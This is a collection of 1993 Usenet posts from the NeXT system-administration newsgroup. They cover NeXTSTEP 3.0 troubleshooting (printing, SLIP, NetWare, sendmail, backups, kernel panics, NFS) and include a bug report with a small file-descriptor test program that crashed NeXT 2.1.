routine for mboxes, or download WAIS from one of the archives and use it. I've
been using WAIS for this purpose for 6 months or so and am very happy with it.
It takes about a half-hour to figure out how to use it, but once you do, it can
handle lots of different indexing chores. I use it to index my mail, my
letters, and my newsfolders. Works great!
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voice: 313-764-2364 Dept of Economics
fax: 313-764-2364 Univ of Michigan
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From: jmarin@hobbes (Jose A. Marin)
Subject: Function Keys
Message-ID: <1993Feb3.194233.12189@dale.ksc.nasa.gov>
Sender: news@dale.ksc.nasa.gov
Organization: NASA
Date: Wed, 3 Feb 1993 19:42:33 GMT
I'm trying to telnet a VAX system but I need to be able to use Function
Keys once I'm in. I can do this from a regular PC (since the keyboard has
the function keys). I cannot do it from my NeXT because the keyboard
doesn't have Function Keys and I cannot find in the NeXT's documentation
how to do this. Can someone help me?
--
Jose Marin
(407) 867-3366
jmarin@hobbes.ksc.nasa.gov
From: amm@NeXT.COM (Alan M. Marcum)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: dump.old in 3.0
Message-ID: <6721@rosie.NeXT.COM>
Date: 3 Feb 93 21:37:57 GMT
References: <1kc1pnINNg53@emory.mathcs.emory.edu>
Sender: news@NeXT.COM
Joe Christy writes
> The 3.0 man pages mention dump.old, but I can't seem to find it...
Unfortunately, dump.old isn't in Release 3.0. The 2.x version
of dump.old is compatible with 3.0, though.
--
Alan M. Marcum
NeXT Tech Support
amm@NeXT.COM
Organization: Carnegie Mellon, Pittsburgh, PA
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Message-ID: <IfPyUpb0BwyO1C9eVY@transarc.com>
Date: Wed, 3 Feb 1993 10:43:49 -0500
From: Ward_Travis@transarc.com
Subject: Slip to a Cicso STS-10
I've had SL/IP running fine in the past. But recently, I found that I
wasn't removing the old routing entries when I received a new SLIP
address. What I mean is that (for instance) I'd bring it up one day and
be assigned address t.u.v.176 by my Cisco at work, and eventually bring
down that line; then the next day another bringup would result in my
being assigned address t.u.v.178 .
This meant some additional work in TCL to get the interface's current IP
address during a bringup and, if the newly assigned address was
different, changing the routing tables on the fly to clean up the old
route/IP address and configuring the new IP address into the interface
and routing tables. Not that I'm convinced that I'm doing all the right
things, mind you.
All this appears to go off without a hitch. I tie the TCL syslog
messages into a log file and I also ask for debug output to level four.
Tailing both files says that everything I expect to happen is happening;
the TCL isn't bungling the dialogue with the Cisco in any way.
The problem is that nothing ever comes *back* across the wire. I can
'ping' to my heart's content, but never get a response. 'traceroute',
even when explictly told the local address and tracing only as far as
the (directly connected) Cisco, replies "n * * *" as nothing ever comes
back from the Cisco. 'netstat' reports no errors on the interface, some
number of outbound packets, andzero inbound packets. Unfortunately, I
have only one modem at the house, and so cannot be simultaneously
monitoring the office net for the arrival of the packets my NeXT is
sending.
If you have any suggestions for debugging approaches to this problem, if
you recognize the problem outright, or have suggestions, I'd enjoy
hearing them. Thanks! I'll be happy to share my scripts -- once they are
debugged. FWIW, my modem is a Telebit TB+, the modem at work is a T2500,
and the connection is made in Telebit's "FAST/COMP" mode. My (local) DTE
speed is 19,200; I use line /dev/cufb; the cable really really does
carry hardware flow control signals; I am confident that the modem is
configured properly (my UUCP feed over it also runs at FAST/UUCP/COMP
and is never garbled; my kermit jobs work perfectly with FAST/KERM/COMP,
in both directions). This is a problem with the network configuration
and routing tables, I believe.
--
Ward C. Travis Pittsburgh PA "The fact is the sweetest dream that
travis@transarc.com (412) 338 4388 labor knows." - R. Frost
Newsgroups: comp.sys.next.sysadmin
From: andrew@cubetech.com
Subject: Re: novell problem
Message-ID: <1993Feb3.203215.4332@cubetech.com>
Organization: Cube Technologies, Inc.
References: <1993Feb2.175747.1@csusys.ctstateu.edu>
Date: Wed, 3 Feb 1993 20:32:15 GMT
In article <1993Feb2.175747.1@csusys.ctstateu.edu> rutherford@csusys.ctstateu.edu writes:
>Help. I am running nextstep 3.0 on the same wire with
>a netware 3.11 server (recently upgraded from netware
>2.2). With 2.2 netware I never had a problem using
>novell print queues and printers, and in using
>the drives on the novell server.
>
>Now that I have upgraded to netware 3.11, the novell
>services seem to be very erratic. Sometimes they
>work, sometimes I cannot find the netware server that
>is a few feet down the wire, though it will find a
>netware server 80 miles away more often than not (
>though not always).
>
>Any clues where the problem might be?
Not sure... We have 5 NetWare servers on the same net as our NeXTs,
and we don't have any problems bringing any of them up at all
(including one running NetWare 4.0 beta). If you intend to use a
NetWare server for file service to a bunch of NeXT's, you should
install the NetWare Unix Client (NUC.NLM) and load the NFS name-space
onto your volumes. Although it's not necessary for using the server,
the NUC handles permissions mapping, file-ownership mapping, etc...
I'm not sure if it comes on the Release 3 CD-ROM or not, but you can
probably get it from Novell, Univel, or NeXT.
Also, the NeXT NetWare client is a little flaky. If a server goes
down, the NeXT will usually not be able to find it again until you
reboot the NeXT.
andrew
--
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Andrew Loewenstern | lest we lose our now for a phantom of our
Cube Technologies, Inc. | own design." - Erendis FYEO Public Key:
0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
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From: draphsor@deathstar.Stanford.EDU (Matt Rollefson)
Subject: Re: M.M and R.W at NeXT
Message-ID: <1993Feb3.234037.17803@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: Residential Computing, Stanford University
References: <YfOfSwi00WBL02AFcp@andrew.cmu.edu>
Date: Wed, 3 Feb 93 23:40:37 GMT
In comp.sys.next.sysadmin Yael Shavit <ys11+@andrew.cmu.edu> writes:
>I'm looking for the e-mail address and/or phone number of the following
>people at NeXT:
> Morrise Meyer,
> Richard Williamson.
Pretty much all NeXT employees are reachable by sending email to
Firstname_Lastname@next.com, eg:
Morrise_Meyer@next.com
Rollie
--
Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu
Residential Computing, Stanford University NeXTmail accepted
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From: csmith@blackplague.gmu.edu (Blackplague)
Subject: Need help with printing to Laser Printer from NeXT 3.0
Message-ID: <1993Feb3.234435.365@gmuvax2.gmu.edu>
Sender: usenet@gmuvax2.gmu.edu (usenet administrator)
Organization: George Mason University, Fairfax, Virginia, USA
Date: Wed, 3 Feb 1993 23:44:35 GMT
I am running NeXT Step 3.0 on a machine connected to an appletalk network via a
shiva fast path. On this net there is a LaserWriter II and a Personal
LaserWriter which has been upgraded with a Xante accelerator card to a 600 dpi
printer. The NeXT is able to see the LaserWriter II, but not the upgraded
Personal LaserWriter. How can I make it see this printer. I was able to see
it when I first loaded 3.0, but I soon got a Printer Unavailable message and I
have not been able to find it since. Any help is greatly appreciated.
Please respond via email.
Thanks
Christian Smith
From: neil@alamo.mth.pdx.edu (John Neil)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: logging for anonymous ftp
Message-ID: <neil.728781335@dehn>
Date: 3 Feb 93 23:15:35 GMT
Article-I.D.: dehn.neil.728781335
References: <1993Feb1.135606.29026@murdoch.acc.Virginia.EDU>
Sender: news@pdxgate.UUCP
jpw@sansfoy.lib.virginia.edu (John Price-Wilkin) writes:
>How does one add the "-l" (for transaction logging) switch to ftpd in the
>
>NetInfoManager? Is it possible to specify a log file other than syslog? Is it possible to provide additional parameters so that only anonymous ftp logging is performed?
>John Price-Wilkin
>jpw@Virginia.EDU
What kind of logging are you talking about? The only logging that syslog does
is inform you that an ftp session took place. It does NOT give statistics on
who downloaded what from where. If you want that then you must get one of the
new ftp daemons that are out there. I ported the WUARCHIVE ftp daemon to the
NeXT (it is available from lots of ftp sites) which supports all kinds of
logging as well as some very advanced capabilities and access restrictions.
--John Neil
--
John Neil, Graduate Teaching Assistant e-mail: neil@math.mth.pdx.edu
Mathematics Department NeXTMail: neil@dehn.mth.pdx.edu
Portland State University
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From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Slab crashes 12 times in 5 days
Message-ID: <7579@ucsbcsl.ucsb.edu>
Date: 3 Feb 93 22:15:10 GMT
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Distribution: usa
I have one user who has managed to crash one of our machines over and over
again. Many times there were no error messages whatsoever. Then recently the
machine crashed with a full printout. Can anyone give me a clue as to what
this crash is telling me? Is there something I can change to keep this kind of
crash from occurring? Machine is 040 monochrome non-turbo slab running OS 3.0,
with 20 Mb RAM.
Feb 1 09:01:58 waltz mach: unexpected kernel page fault failure
Feb 1 09:01:58 waltz mach: trap: type 0x410 fcode 5 rw 3 faultaddr 0x0
Feb 1 09:01:58 waltz mach: trap: pc 0x40675ec sp 0x3ffff78 sr 0x2000
Feb 1 09:01:58 waltz mach: trap: cpu 0 th 0x4016890 proc 0x40162f8 pid 77 pcb
0x10f5600c
Feb 1 09:01:58 waltz mach: traceback: fp 0x10f56b30
Feb 1 09:01:58 waltz mach: called from pc 04067560 fp 10f56b50 4-args 040e44e2
00000000 00000040 0000207f
Feb 1 09:01:58 waltz mach: called from pc 0406353c fp 10f56bb4 4-args 101176e4
000fe000 00000001 10f56c38
Feb 1 09:01:58 waltz mach: called from pc 04092b9e fp 10f56c3c 4-args 040caaae
10cbc000 00000003 00000000
Feb 1 09:01:58 waltz mach: called from pc 040020e8 fp 10f56c55 4-args 00000410
00000005 00000003 10cbc000
Feb 1 09:01:58 waltz mach: last fp 0x10f56c55
Feb 1 09:01:58 waltz mach: panic: (Cpu 0) MMU invalid descriptor during table
walk
Feb 1 09:01:58 waltz mach: NeXT ROM Monitor 2.4 v65
Feb 1 09:01:58 waltz mach: panic: NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992;
root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K
Thanks.
--
Douglas Scott (805)893-8352
Center for Computer Music Research and Composition
University of California, Santa Barbara
Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
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From: pascal@nextasy.physics.mcmaster.ca (Pascal Gaudette)
Subject: Re: (solved) Mapping out a bad block *without* reformatting?
Message-ID: <1993Feb3.232939.15663@mcshub.dcss.mcmaster.ca>
Sender: usenet@mcshub.dcss.mcmaster.ca
Organization: McMaster University, Hamilton, Ontario.
References: <1993Feb2.200851.5083@mcshub.dcss.mcmaster.ca>
Date: Wed, 3 Feb 1993 23:29:39 GMT
In article <1993Feb2.200851.5083@mcshub.dcss.mcmaster.ca> I wrote:
>
>It appears that I have a bad block on my (1 month old) hard drive.
[...]
>
>Is there any way to map out the bad block *without* reformatting the
>entire drive?
[Sigh...]
Thanks to the many people (including a sun employee! :-)
who pointed me to the reasb command. It is part of the 3.0
distribution, and is also apparently available via
anonymous ftp from next.com.
Unfortunately, I did not have the chance to try it. To
make a long story short: yesterday, before I had received
any replies to my query, my NeXT started having some more
problems; and after a few attempts to fix things by
booting off a floppy, I wound up with a machine that
wouldn't even *boot* from the hard drive.
After much hair-pulling, I wound up doing a low level
reformat of the drive. Luckily, I had *just* done
a full backup. Since our exabyte tape is on the
network, and the bootfloppy doesn't have rrestore on it,
it took a bit of ingenuity as well as a 3.0 CD to get things
moving. But now it is done, and I am back on my feet. Phew!
Again, warm thanks to all those who responded.
--
Pascal "The Rascal" Gaudette pascal@nextasy.physics.mcmaster.ca
MacNUG president | *NeXTmail encouraged*
graduate student, McMaster university | Je ne suis pas infaillible.
Physics and astronomy dep. | Vive le Quebec LIBRE!
From: pat%expovision@cam.org (Patrique Lalonde)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Sendmail Not Receiving 3.0
Message-ID: <1993Feb3.195842.405@cesar.uucp>
Date: 3 Feb 93 19:58:42 GMT
References: <93032.093750ASODL@ASUACAD.BITNET>
Sender: pat@cesar.uucp
In article <93032.093750ASODL@ASUACAD.BITNET> <ASODL@ASUACAD.BITNET>
writes:
> Hello!
>
> We are having a major problem here with receiving mail. But first, let
me give
> some background about this problem.
>
> Under 2.1 we configured sendmail and it worked fine. Likewise, sendmail
> continued to work once we "upgraded" to 3.0. However, and for whatever
reason,
> there were bad sectors reported for the server and we had to rebuild 3.0
from
> scratch. SInce then, we have only been able to send mail over the
network but
> not receive it. Mail now bounces or loops back to the sender.
>
>
> I seem to recall seeing some bug reports about sendmail listed but I
don't have
> them for reference. I as well as many others who have to presently
divert mail
> we appreciate any clues and suggestions for solving this problem.
>
> OL
I'm not exactly an expert in this matter but I had a similar problem
yesterday. Apparently there is a bug with ls. When you chmod +xs
/usr/lib/uuxqt the ls program does not put a capital S on the execute to
indicate that there is also an x behind. Try executing uuxqt from a shell.
If it returns an error then the permissions are wrong.
Is that is the case make sure the permissions for uuxqt are:
u=xs
g=x
o=nothing
If that does not work check in /usr/spool/uucp/D. to see if there are any
messages. If there are no mails in that directory when mail comes in, then
the problem is probalby your sendmail which is not configured right. I
don't know enough about sendmail to help you with that.
Hope this helps.
Good luck.
Patrique
===========NeXT Mail
Patrique Lalonde
pat%cesar@cam.org
From: holschdm@nextwork.rose-hulman.edu (David M. Holscher)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Replacing loginwindow with xdm
Date: 4 Feb 1993 02:08:18 GMT
Organization: Computer Science Department at Rose-Hulman
Distribution: world
Message-ID: <1kptqiINNoor@master.cs.rose-hulman.edu>
Hello. I'm attempting to replace the loginwindow application in /etc/ttys
on my mono-station so that I can run xdm instead. I've got XNeXT working
and I can run xdm as root after I have logged in via the loginwindow, but
when I put xdm in /etc/ttys it dies before bringing up the login widget
with the following error
Uncaught exception #1103
upon which xdm dies and init starts it up again and then again ...
I have no idea what error that is and I can't seem to find any
documentation on this exeception.
Has anyone done this and can you send me your configuration files? Does
anybody know what causes this error?
David Holscher
From: taylor@corona.math.vt.edu (Frank Taylor)
Newsgroups: comp.sys.next.sysadmin
Subject: Problem with 3.0 upgrade and NeXT laser printer
Message-ID: <11556@vtserf.cc.vt.edu>
Date: 2 Feb 93 14:39:09 GMT
Sender: usenet@vtserf.cc.vt.edu
Organization: Mathematics Department, Virginia Tech
I have a NeXTcube 68040 25MHz, NeXT Laser printer, and NeXT CD-ROM drive.
When I upgraded to NeXTSTEP 3.0 I discovered that I can't print anything.
If I lpr a file the error message is: "lpr: Local_Printer: unknown printer".
If I open a print dialog box the Name: field reads "No printers available"
and the legend "Printer description file not available" appears. However
nppower on|off still works. I had no problem under 2.2.
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From: lemson@uiuc.edu
Subject: Re: dump.old in 3.0
Message-ID: <C1wsDo.BJB@ux1.cso.uiuc.edu>
Sender: lemson@ux1.cso.uiuc.edu (David Lemson)
Organization: University of Illinois at Urbana
References: <1kc1pnINNg53@emory.mathcs.emory.edu> <C1u9nF.20y@oceania.com>
Distribution: na
Date: Thu, 4 Feb 1993 05:24:45 GMT
john@oceania.com (John Robison) writes:
>dump (*and* dump.old) are "really incompatible" with the
>dump shipped on SunOS 4.1.1.
>You can still do backups though, it seems that rdump
>from a NeXT to a tape drive on our Sun works just fine.
>(Despite the nasty warning about rmt controls in the
>NeXT dump man page.)
To clarify - you can use rdump from a NeXT to a tape drive
physically attached to a Sun. However, Sun's 'restore' will not read
this dumpfile. You must use rrestore from a NeXT to read that
tape. Works OK in my experience as well.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
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From: pierce@lanai.cs.ucla.edu (Brad Pierce)
Subject: Changing default boot command
Message-ID: <1993Feb3.233345.24718@cs.ucla.edu>
Sender: usenet@cs.ucla.edu (Mr Usenet)
Organization: UCLA, Computer Science Department
Date: Wed, 3 Feb 93 23:33:45 GMT
How do I change the "default boot command" (the machine is not on
a network) under NeXTSTEP 3.0 so that it has the following boot
parameters: "sd-p nbu=64". And is that the best way to decrease
the frequency of disk reads?
Thank you in advance.
-- Brad Pierce --
From: olsenc@stein2.u.washington.edu (Clint Olsen)
Newsgroups: comp.sys.next.sysadmin
Subject: How to get ethernet address off of a NeXT?
Date: 4 Feb 1993 08:35:25 GMT
Organization: University of Washington, Seattle
Distribution: world
Message-ID: <1kqkgdINNmd8@shelley.u.washington.edu>
Hello:
Please email responses because I don't get around to reading
news frequently.
I need to add the ethernet address of a NeXT to my /etc/ethers
database.
Any ideas?
Thanks.
-Clint
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From: stark@superc.che.udel.edu (Scott M. Stark)
Subject: Problems with recvfrom(2)
Message-ID: <1993Feb4.091953.21794@udel.edu>
Keywords: recvfrom, UDP
Sender: usenet@udel.edu (USENET News Service)
Organization: University of Delaware
Date: Thu, 4 Feb 1993 09:19:53 GMT
Has anyone had experience using the recvfrom(2) call using
a UDP protocol? I can not get an example program from Stevens
"UNIX Network Programming" book to work because the recvfrom
call fails. The error message is bad address. The example works
fine on an RS6000 and Sun4.
Thanks,
Scott
--
Scott Stark
University of Delaware
Department of Chemical Engineering
123 Colburn Lab
Newark, DE 19716-3119
(302) 831-6713
Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA
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Message-ID: <0fQ=8L_00WB3MsR6Io@andrew.cmu.edu>
Date: Thu, 4 Feb 1993 01:05:11 -0500
From: Charles William Swiger <infidel+@CMU.EDU>
Subject: Re: Slab crashes 12 times in 5 days
In-Reply-To: <7579@ucsbcsl.ucsb.edu>
Distribution: usa
Excerpts from netnews.comp.sys.next.misc: 3-Feb-93 Slab crashes 12 times
in 5 .. by Douglas Scott@foxtrot.cc
> Feb 1 09:01:58 waltz mach: unexpected kernel page fault failure
> Feb 1 09:01:58 waltz mach: trap: type 0x410 fcode 5 rw 3 faultaddr 0x0
> Feb 1 09:01:58 waltz mach: trap: pc 0x40675ec sp 0x3ffff78 sr 0x2000
> Feb 1 09:01:58 waltz mach: trap: cpu 0 th 0x4016890 proc 0x40162f8 pid 77
>
> [...munch...]
>
> Feb 1 09:01:58 waltz mach: panic: (Cpu 0) MMU invalid descriptor during
> table walk
I'd say you were having a problem with a daemon or a loadable kernel
module started up in one of your /etc/rc* scripts. Perhaps you have
something starting up that should be wired down in memory that crashes
or exits, leaving the machine's virtual memory in an inconsistant state,
thus giving the invalid MMU descriptor.
Try restarting the machine, and figure out what pid 77 is. Then take a
careful look at what happens to that process....
Good luck,
-Chuck
Charles William Swiger -- CMU...*crunch*! | "Foosh. Aaughh!!"
------------------------------------------+ "Foosh. Aauuggghh!!"
AMS & normal mail: infidel@cmu.edu | "Cold spray deodorant...."
Failing that: cs4w+@andrew.cmu.edu |
NeXTmail: chuck@mon.slip.andrew.cmu.edu | -- Opus, Bloom County [RIP]
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From: kjartan@repulse.saclay.cea.fr (Kjartan Pierre Emilsson)
Subject: Re: simple NFS server question
Sender: @nenufar.saclay.cea.fr
Message-ID: <1993Feb04.132618.13153@nenufar.saclay.cea.fr>
Date: Thu, 04 Feb 1993 13:26:18 GMT
References: <1kp80iINNl0j@menudo.uh.edu>
Organization: Commissariat Energie Atomique (CEA), France.
In article <1kp80iINNl0j@menudo.uh.edu> sears@tree.egr.uh.edu (Paul S.
Sears) writes:
> In article <1993Feb3.144242.267@parsec.mixcom.com>
> alberto@parsec.mixcom.com (Manuel Alberto Ricart) writes:
> #I just networked two machines (the LAN consists of only 2
> #computers linked to the outside world via UUCP), and
> #noticed that on the NFS server, which exports home
> #directories, LocalApps, etc the path to the home
> #directories is:
> #
> #/Net/parsec/Users/
> # ^^^^^^
> #My concern is that the entire root directory (parsec
> #appears under /Net and seems to be cyclical:
> #/Net/parsec/Net/parsec..... forever. Is this normal?
> #
>
> The servers are unique. When you export and mount under /Net, you
will
> get an endless cycle of /Net/server/Net/server/Net/server... This is
> perfectly normal. No need to worry about anything.
>
Usually when you want to NFS mount directories under /Net, you specify
the mount commands for the whole network in NetInfo. When a server then
tries to mount its own directory, it simply creates a symbolic link to
its root, rather than actually mounting the directory (which would
result in an infinite loop). For directories from other machines, it
creates a symbolic link to /private/Net/<server>, which is the actual
NFS mount point. By using /private/Net, machines don't get upset when
they mount e.g a root which itself contains a /Net directory. If this
seems confusing, then don't worry: it is, but you get used to it.
-Kjartan
From: kgnome@cs.concordia.ca (MATIS stephane)
Newsgroups: comp.sys.next.sysadmin
Subject: CD-ROM
Message-ID: <C1xLzu.rx@newsflash.concordia.ca>
Date: 4 Feb 93 16:04:42 GMT
Sender: usenet@newsflash.concordia.ca (USENET News System)
Organization: Computer Science, Concordia University, Montreal, Quebec
I guess this should be on the FAQ, but it 'aint there !
I have installed an external HD from where I boot. I have a
CD-rom, still set to SCSI id 4. Now, the audio CD demo from NeXT "cannot
find CD-ROM".
What now ? I feel lost without some music :(
+---------------------------------+ ___ ___ ___
| Stephane I. Matis | / \_BATLLETECH /\__\ Viva NeXT!
| E-Mail : kgnome@cs.concordia.ca | \___/ \___/ \/__/ NeXTSTEP 3.0!
| "It Just Works..." - Steve Jobs | \___/
+---------------------------------+ Wolfnet Operative & NeXThead
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From: tagreen@lothario.cica.indiana.edu (Todd A Green)
Subject: Re: How to get ethernet address off of a NeXT?
Message-ID: <C1xqEo.JCv@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: CICA - Center for Innovative Computer Applications
References: <1kqkgdINNmd8@shelley.u.washington.edu>
Date: Thu, 4 Feb 1993 17:39:59 GMT
(Clint Olsen) writes:
>Please email responses because I don't get around to reading
>news frequently.
I tried, but it bounced.
>I need to add the ethernet address of a NeXT to my /etc/ethers
>database.
>
You can grep through /usr/adm/messages for it (providing that you
rebooted recently and it didn't get rotated out by cron) or you can use
a simple program that I wrote that is on ftp.cica.indiana.edu called
"ether" (it is in /pub/next/3.0/bin/ether.tar.Z (also has source
included for the cautious sys admin)).
Todd
--
NeXTmail: tagreen@cica.indiana.edu
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: Term: a SLIP replacement
Message-ID: <1993Feb4.191322.26372@galileo.cc.rochester.edu>
Date: 4 Feb 93 19:13:22 GMT
References: <C1suB5.16J@rice.edu>
Sender: news@galileo.cc.rochester.edu
Organization: University of Rochester - Rochester, New York
In <C1suB5.16J@rice.edu> bob@ruf.rice.edu (Robert Morrison Dana) writes:
>SLIP users take note:
>There now is a communications protocol available called "term" that
>provides much of the functionality of SLIP. In particular, it allows
>users to have multiple logins over the same modem line, run X-windows
>clients, and map a login prompt of one machine to a telnet port of the
>other machine, in either direction. The best part is that it is
>entirely a user-level program- no root access is needed at either in
>for installation or use. The same server is run at both ends of the
>line and connections can be made in either direction.
>What's the catch?
>Term is being developed along with and for Linux, a public domain UNIX
>for 386. It compiles for the NeXT so that Linux machines may connect
>to NeXT servers. Theoretically, it should work just as well between
>two NeXTs as a NeXT and a Linux box. I can compile it, but it doesn't
>work.
>Does anybody have this running on a NeXT? It looks like a fantastic
>idea, and from what I have seen of it on Linux machines, a significant
>improvement over SLIP for those of us who don't need/want all the other
>things SLIP does (like NFS). I'll be happy to provide more info for
>those who want it.
>-Robert
>--
>Robert Dana <bob@rice.edu>
>ONCS Student UNIX systems programmer
>Rice University, Houston, TX (This is me, not Rice)
I personally didn't get it to work, but I've got a working copy that
compiles very nicely under 3.0 and works (so far) on the Sun system that I
regularly call into. If you want it, just e-mail me and I'll send along the
copy that was sent to me. It's not a "finished" version, nor has it been
totally viewed/given the blessing by the original "term" author. But: it
works. Use at your own risk (actually, there's only a risk of frustration.)
--
John Todd | University of Rochester, Rochester NY USA Earth Milky Way
CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo
Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused
jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
Newsgroups: comp.sys.next.sysadmin
From: sam@chpc.utexas.edu (Samuel R. Oliveira)
Subject: panic:hard drive TARGET MEDIA ERRORs
Message-ID: <1993Feb4.193755.10001@chpc.utexas.edu>
Organization: The University of Texas System - CHPC
Date: Thu, 4 Feb 93 19:37:55 GMT
From sam@chpc.utexas.edu Thu Jan 28 14:57:15 1993
Path: hermes.chpc.utexas.edu!sam
From: sam@chpc.utexas.edu (Samuel R. Oliveira)
Newsgroups: comp.sys.next.sysadmin
Subject: cannot mount root. In Brazil
Summary: Need Help to boot
Keywords: panic
Message-ID: <1993Jan28.205715.8413@chpc.utexas.edu>
Date: 28 Jan 93 20:57:15 GMT
Organization: The University of Texas System - CHPC
Lines: 48
I have a NeXTStation here in Brazil for about a year now. I never
had any seriuous problem. Last week one of the users tried to read
a floppy disk in a MacIntosh format. He said the panic window appeared,
and turned off the machine.
When I tried to boot the NeXT this is what I got:
init arg: -sx
.
.
NeXT Mach 2.1: ...
FPU version 0x40
physical memory= 8.00 MB
available memory = 7.03 MB
...
...
dsp0 at 0x2100000
np0 at ...
sound at ...
root on sd0
master cpu at slot 0
Target 1: MEDIA ERROR; block 241H retry 1... 9
sd0 (1,0):sense key:0x3 additional sense code:0x11
SCSI Block in error = 577 ; Partition a F.S. sector 128
panic: (Cpu 0) vfs_mountroot: cannot mount root
..
..
panic >
Can anyone there help me out???? Please reply to
samolive@brunb.bitnet (prefered) or
sam@hermes.chpc.utexas.edu
It is really hard to read news from the southern hemisphere, so please e-mail
me any hint. Thanks so much
Samuel R. Oliveira
Brazilian NUGts
--
Samuel R. Oliveira
|Center for Relativity |(sam@einstein.ph.utexas.edu) relativity|
|RLM 9.216 Mail Code # 61606|(OLIVEIRA@UTAPHY.BITNET) physics |
|Department of Physics |(fusion::oliveira) plasma |
From: horde@reed.edu (Mr. Heiji Horde)
Newsgroups: comp.sys.next.sysadmin
Subject: Repartitioning a 330M drive...
Message-ID: <1993Feb4.194309.13130@reed.edu>
Date: 4 Feb 93 19:43:09 GMT
Article-I.D.: reed.1993Feb4.194309.13130
Organization: Twisted Genius Rehabilitation Center, a Division of MHE
Hey there folks, I've got these NeXTs cubes (about 5 years old now) with
330M hard drives and was wondering if anyone had a disktab entry so I could
reformat the internal HD to 230M and 100M partitions. I already checked
/etc/disktab already and the only entry in there was for an optical disk.
BuildDisk will only partition 330M disks into a single partition. (grr...)
Arrghh...what I wouldn't do for a decent 'chpt' program. Thank you NeXT for
making things so much harder to configure.
-Heiji
horde@reed.edu
From: cbarber@bbn.com (Chris Barber)
Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Re: lseek(bad filedes) crashes NeXT2.1
Date: 4 Feb 1993 21:54:57 GMT
Organization: Bolt Beranek and Newman (BBN)
Message-ID: <ln345hINN4bg@news.bbn.com>
References: <1kmeic$p05@agate.berkeley.edu>
In article <1kmeic$p05@agate.berkeley.edu>
stolcke@icsi.Berkeley.EDU (Andreas Stolcke) writes:
The little program below tests the file descriptors from 0 ot 31
for open-ness by performing an lseek and checking errno. This happens to
consistently crash out NeXT cube running the 2.1 release.
Question #1: Is this a known problem?
Question #2: Is there a fix for it.
The problem doesn't seem to be specific to lseek. A similar program
using select(2) to test the file descriptors also crashes the machine.
I consider this a very bad bug since it means that any program that is
not careful with open's and close's can produce very bad surprises.
#include <errno.h>
extern int errno;
extern long lseek();
main()
{
int i;
printf("Open streams:");
for (i = 0; i < 32; i++) {
if (lseek(i, 0L, 1) >= 0 || errno == ESPIPE) {
printf(" %d", i);
} else if (errno != EBADF) {
extern char *sys_errlist[];
printf(" error on %d: %s", i, sys_errlist[errno]);
}
}
printf("\n");
exit(0);
}
I discovered this bug last summer and reported it to bug_next@next.com
but didn't hear anything back about it. Basically, the problem occurs
for the following set of conditions:
- a file access function requiring an open file descriptor
is used on a descriptor which is not open.
- the file descriptor is >= 20
- the function is repeated in a tight loop
You will probably notice that putting a small delay in the
loop will make the problem go away. The more correct way to
deal with the bug is to use fstat() to see if the file is
open before you do anything. Note that a single random
access to an unopened file descriptor will not bring about
the bug, nor will anything done with a fd less than 20.
--
Christopher Barber
(cbarber@bbn.com)
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
Newsgroups: comp.sys.next.sysadmin
Subject: Pencom Software Seeks 15 NeXT Engineers (Nationwide US and Canada)
Message-ID: <6732@rosie.NeXT.COM>
Date: 4 Feb 93 21:24:33 GMT
Sender: news@NeXT.COM
For more information, contact:
Clint Tomlinson
Manager, NeXT Recruiting
Pencom Software
9050 Capital of Texas Highway North
Austin, Texas 78759
Telephone: 512-343-1111
Fax: 512/346-6444
E-Mail: clint@pencom.com
Pencom Software Seeks 15 NeXT Engineers
Location: North America (Northeast, Midwest, Texas, West, Canada)
AUSTIN, TEXAS - February 04, 1993 - Pencom Software's team of NeXT
engineers are specifically dedicated to serving both developers and
end user organizations equipped with workstations and software from
NeXT Computer, Incorporated.
Already a NeXT-authorized systems integrator as well as a registered
NeXT software developer, Pencom is expanding the service to
capitalize on the growth NeXT has recently experienced.
Pencom Software is a division of Pencom Systems Incorporated, a New
York-based firm providing software engineering and manpower resources
to Fortune 500 companies and leading computer firms since 1973.
Currently the largest recruiting firm specializing in the UNIX/Open
Systems market, Pencom employs over 500 people and maintains a large
heterogeneous network of workstations including more than 70 NeXT
machines.
The following positions are available in the United States and in
Canada:
TEXAS
1- Senior Database Specialist
* 5+ years database design and database applications
development experience
* 3 years application development experience in a UNIX
environment
* 2 years DBMS experience using an SQL-based DBMS
* 1+ year applications experience in the NeXTSTEP
environment
* Strong background in proposal generation, system
specification, third-party software evaluation,
technology transfer, rapid prototyping
* Experience with AppKit, DBKit, NeXTSTEP 3.0, OOD, C++,
Objective-C
* GUI and Porting experience
NORTHEAST
3 - Development Technical Leads
* Strong NeXTSTEP applications development
* Strong UNIX/C, database programming (Sybase, Oracle,
Informix)
* Objective-C, AppKit, Interface Builder
* High level applications design and rapid prototyping
* Project/Technical lead experience
* Good interpersonal skills (oral and written)
* Technical support/OOP, OOD methodology transfer
* 6 to 10 years experience
1 - System Administrator
* NeXT/Sun/UNIX system administration
* Network Management background
* Objective-C or C++
* Background in a heterogeneous systems environment a must
1 - Software Engineer
* NeXT/UNIX application software development
